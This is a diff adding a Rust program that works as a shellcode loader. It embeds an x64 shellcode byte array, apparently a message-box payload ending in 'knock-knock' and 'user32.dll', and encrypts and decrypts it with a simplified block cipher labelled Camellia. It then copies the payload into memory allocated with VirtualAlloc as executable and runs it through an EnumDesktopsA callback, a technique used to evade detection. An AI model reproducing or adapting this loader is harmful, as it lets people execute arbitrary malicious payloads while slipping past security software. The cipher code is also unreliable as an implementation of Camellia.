|
| 1 | + |
| 2 | + |
| 3 | +use std::ptr; |
| 4 | + |
| 5 | +use winapi::um::{memoryapi::VirtualAlloc, winuser::{EnumDesktopsA, GetProcessWindowStation}}; |
| 6 | + |
| 7 | + |
| 8 | +const BLOCK_SIZE: usize = 16; |
| 9 | + |
| 10 | +fn main(){ |
| 11 | + |
| 12 | + let mut payload: Vec<u8> = vec![ |
| 13 | + 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff, |
| 14 | + 0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, |
| 15 | + 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b, |
| 16 | + 0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50, |
| 17 | + 0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, |
| 18 | + 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, |
| 19 | + 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20, |
| 20 | + 0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00, |
| 21 | + 0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e, |
| 22 | + 0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3, |
| 23 | + 0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6, |
| 24 | + 0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41, |
| 25 | + 0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08, |
| 26 | + 0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49, |
| 27 | + 0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40, |
| 28 | + 0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0, |
| 29 | + 0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41, |
| 30 | + 0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59, |
| 31 | + 0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e, |
| 32 | + 0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26, |
| 33 | + 0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48, |
| 34 | + 0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01, |
| 35 | + 0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff, |
| 36 | + 0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5, |
| 37 | + 0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73, |
| 38 | + 0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e, |
| 39 | + 0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73, |
| 40 | + 0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00 |
| 41 | + ]; |
| 42 | + |
| 43 | + |
| 44 | + let key1: u64 = 0x0123456789abcdef; |
| 45 | + let key2: u64 = 0xfedcba9876543210; |
| 46 | + |
| 47 | + println!("Original payload: {:x?}", payload); |
| 48 | + println!("\n\n"); |
| 49 | + let padded_len = (payload.len() + BLOCK_SIZE - 1) / BLOCK_SIZE * BLOCK_SIZE; |
| 50 | + payload.resize(padded_len, 0x90); |
| 51 | + |
| 52 | + for chunk in payload.chunks_mut(BLOCK_SIZE) { |
| 53 | + camellia_encrypt_block(chunk.try_into().unwrap(), key1, key2); |
| 54 | + } |
| 55 | + |
| 56 | + println!("Encrypted payload: {:x?}", payload); |
| 57 | + println!("\n"); |
| 58 | + |
| 59 | + for chunk in payload.chunks_mut(BLOCK_SIZE){ |
| 60 | + camellia_decrypt_block(chunk.try_into().unwrap(), key1, key2); |
| 61 | + } |
| 62 | + |
| 63 | + payload.retain(|&x| x != 0x90); |
| 64 | + |
| 65 | + println!("Decrypted payload: {:x?}", payload); |
| 66 | + |
| 67 | + // testing.... |
| 68 | + unsafe { |
| 69 | + let mem = VirtualAlloc(ptr::null_mut(), payload.len(), 0x1000, 0x40); |
| 70 | + if !mem.is_null() { |
| 71 | + ptr::copy_nonoverlapping(payload.as_ptr(), mem as *mut u8, payload.len()); |
| 72 | + EnumDesktopsA(GetProcessWindowStation(), Some(std::mem::transmute(mem)), 0); |
| 73 | + } |
| 74 | + } |
| 75 | +} |
| 76 | + |
| 77 | + |
| 78 | +static SBOX: [u8; 256] = [ |
| 79 | + 60,242, 25,216, 58, 27, 73, 52,207,254,213, 69, 21, 90, 66,193, |
| 80 | + 39,162, 33,153,235, 1, 57, 28,205, 23,128,149, 74,146,141,246, |
| 81 | + 117,252, 80, 53,229,184,192,136,113,111,181,133,253,164,188,250, |
| 82 | + 82,110, 35,233,220,125,215,208,206,203, 18,138,196,104,140,226, |
| 83 | + 101,160,156, 78, 30,137, 17,152, 62,170, 56,230,225,249,157, 63, |
| 84 | + 166,143,202, 32, 44, 98,144,198,108,183, 92,147,214,190,174,243, |
| 85 | + 211,179,175, 10, 42, 59,139,100, 49, 13,131,102, 50, 76,109, 68, |
| 86 | + 103, 34,118, 47,151, 4,199,248, 46, 16,123, 81,234, 70,223,201, |
| 87 | + 155, 2, 64, 0,107,239, 12,218, 40,142, 19,221, 29, 3,178, 88, |
| 88 | + 126,119, 11,209,121,150,238, 97,231,182,245, 77,177, 94,161, 26, |
| 89 | + 89, 54,244,180,176,232, 22, 48, 91,173, 24,227,112, 87,169, 5, |
| 90 | + 185,135, 71,224,210,191, 79,129,145,251,200,130,167,186, 75,115, |
| 91 | + 163, 72,105,217,116, 15,236,195, 61, 31,241, 7,114,197, 45,159, |
| 92 | + 237,222, 51,168,132,165,171,219,127, 6,124,204, 95,122,247,187, |
| 93 | + 106,189,158, 38, 14, 37, 20,228, 86, 93, 9, 67, 43,255,148, 55, |
| 94 | + 154,240, 65, 84, 85, 8,172, 99, 41,194,212,120, 96, 36,134, 83, |
| 95 | +]; |
| 96 | + |
| 97 | +fn camellia_f(input: u64, key: u64) -> u64 { |
| 98 | + let input = input ^ key; |
| 99 | + let mut y = [0u8; 8]; |
| 100 | + for i in 0..8 { |
| 101 | + y[i] = SBOX[((input >> (56 - i * 8)) & 0xFF) as usize]; |
| 102 | + } |
| 103 | + y.iter().enumerate().fold(0u64, |acc, (i, &val)| acc | ((val as u64) << (56 - i * 8))) |
| 104 | +} |
| 105 | + |
| 106 | +fn camellia_encrypt_block(block: &mut [u8; BLOCK_SIZE], key1:u64, key2:u64) { |
| 107 | + let (left, right) = block.split_at_mut(8); |
| 108 | + let mut left = u64::from_be_bytes(left.try_into().unwrap()); |
| 109 | + let mut right = u64::from_be_bytes(right.try_into().unwrap()); |
| 110 | + |
| 111 | + for _ in 0..8 { |
| 112 | + right ^= camellia_f(left, key1.try_into().unwrap()); |
| 113 | + left ^= camellia_f(right, key2.try_into().unwrap()); |
| 114 | + } |
| 115 | + |
| 116 | + std::mem::swap(&mut left, &mut right); |
| 117 | + |
| 118 | + block[..8].copy_from_slice(&left.to_be_bytes()); |
| 119 | + block[8..].copy_from_slice(&right.to_be_bytes()); |
| 120 | +} |
| 121 | + |
| 122 | +fn camellia_decrypt_block(block: &mut [u8; BLOCK_SIZE], key1: u64, key2: u64) { |
| 123 | + let (left, right) = block.split_at_mut(8); |
| 124 | + let mut left = u64::from_be_bytes(left.try_into().unwrap()); |
| 125 | + let mut right = u64::from_be_bytes(right.try_into().unwrap()); |
| 126 | + |
| 127 | + std::mem::swap(&mut left, &mut right); |
| 128 | + |
| 129 | + for _ in 0..8 { |
| 130 | + left ^= camellia_f(right, key2.try_into().unwrap()); |
| 131 | + right ^= camellia_f(left, key1.try_into().unwrap()); |
| 132 | + } |
| 133 | + |
| 134 | + block[..8].copy_from_slice(&left.to_be_bytes()); |
| 135 | + block[8..].copy_from_slice(&right.to_be_bytes()); |
| 136 | +} |
| 137 | + |
0 commit comments